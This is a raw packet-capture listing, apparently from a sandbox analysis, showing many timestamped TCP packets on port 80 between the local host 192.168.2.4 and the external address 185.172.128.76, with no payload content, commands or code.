Apr 23, 2024 09:38:20.973340034 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973355055 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973356009 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973373890 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973386049 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973386049 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973392010 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973398924 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973409891 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973427057 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973439932 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973439932 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973443031 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973448992 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973460913 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973469973 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973478079 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973490000 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973494053 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973503113 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973510981 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973525047 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973527908 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973546028 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973546982 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973565102 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973572969 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973582029 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973597050 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973606110 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973613977 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973623037 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973630905 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973644018 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973647118 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973664999 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973675013 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973696947 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973704100 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973721981 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973723888 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973742008 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973750114 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973758936 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:20.973786116 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:20.973810911 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.125526905 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.125570059 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.125608921 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.125643015 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.125644922 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.125674963 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.125683069 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.125704050 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.125720978 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.125725985 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.125757933 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.125763893 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.125797987 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.125801086 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.125834942 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.125840902 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.125874996 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.125880003 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.125931978 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.125936985 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.125969887 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.125989914 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.126025915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.126039028 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.126061916 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.126070023 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.126097918 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.126112938 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.126133919 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.126142979 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.126169920 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.126177073 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.126205921 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.126211882 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.126243114 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.126250982 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.126279116 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.126281023 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.126316071 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.126319885 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.126352072 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.126353025 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.126389027 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.126394987 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.126425982 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.126430035 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.126462936 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.126466990 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.126499891 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.126504898 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.126537085 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.126540899 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.126573086 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.126578093 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.126606941 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.174004078 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.174045086 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.174062967 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.174082994 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.174089909 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.174120903 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.174159050 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.174165964 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.174196959 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.174222946 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.174243927 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.174562931 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.174599886 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.174608946 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.174637079 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.174645901 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.174678087 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.174714088 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.174726009 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.174823046 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.174837112 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.174860001 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.174868107 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.174897909 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.174904108 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.174936056 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.174942970 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.174971104 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.174978018 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.175008059 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.175013065 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.175045013 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.175050020 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.175081015 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.175086021 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.175117970 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.175122976 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.175154924 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.175162077 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.175192118 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.175204039 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.175228119 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.175235987 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.175263882 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.175299883 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.175314903 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.175334930 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.175343990 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.175371885 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.175384045 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.175409079 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.175411940 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.175446033 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.175451994 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.175486088 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.175496101 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.175523996 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.175529003 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.175560951 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.175568104 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.175596952 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.175601006 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.175632954 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.175632954 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.175668955 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.175703049 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.175713062 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.175739050 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.175745964 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.175775051 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.175779104 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.175811052 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.175813913 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.175848007 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.175884008 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.175893068 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.175924063 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.175959110 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.175961018 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.175982952 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.175997019 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.176007986 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.176033974 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.176055908 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.176069975 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.176074982 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.176194906 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.328838110 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.328896999 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.328936100 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.328948021 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.328963041 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.328974962 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.328978062 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.329014063 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.329014063 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.329050064 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.329055071 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.329088926 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.329101086 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.329128981 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.329132080 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.329165936 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.329168081 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.329202890 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.329209089 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.329238892 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.329245090 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.329276085 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.329278946 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.329313993 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.329317093 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.329350948 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.329358101 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.329386950 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.329392910 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.329423904 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.329427958 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.329459906 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.329467058 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.329495907 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.329531908 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.329539061 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.329569101 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.329575062 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.329605103 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.329616070 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.329642057 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.329644918 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.329677105 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.329683065 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.329715014 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.329726934 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.329751968 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.329760075 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.329787970 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.329823971 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.329833031 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.329859972 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.329863071 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.329895020 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.329900980 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.329936981 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.329948902 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.329976082 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.329979897 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.330029011 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.375257969 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.375317097 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.375355959 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.375381947 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.375399113 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.375418901 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.375438929 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.375444889 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.375482082 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.375561953 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.375602007 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.375647068 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.377015114 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.377053976 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.377082109 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.377091885 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.377095938 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.377130032 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.377144098 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.377167940 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.377198935 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.377209902 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.377218962 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.377247095 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.377254009 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.377285957 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.377290964 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.377326012 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.377327919 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.377363920 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.377403975 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.377414942 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.377439976 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.377446890 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.377476931 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.377480030 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.377513885 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.377515078 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.377551079 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.377554893 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.377587080 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.377590895 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.377624035 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.377628088 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.377660990 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.377664089 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.377698898 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.377701998 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.377736092 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.377738953 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.377773046 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.377777100 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.377810001 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.377823114 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.377846003 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.377851009 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.377886057 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.377924919 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.377928019 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.377963066 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.377964973 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.378000021 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.378000975 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.378036022 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.378047943 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.378072977 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.378073931 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.378108978 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.378144979 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.378154993 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.378181934 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.378189087 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.378217936 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.378256083 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.378257990 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.378281116 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.378293037 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.378305912 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.378330946 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.378339052 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.378370047 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.378371954 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.378407955 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:21.378437996 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:21.378443956 CEST	80	49733	185.172.128.76	192.168.2.4
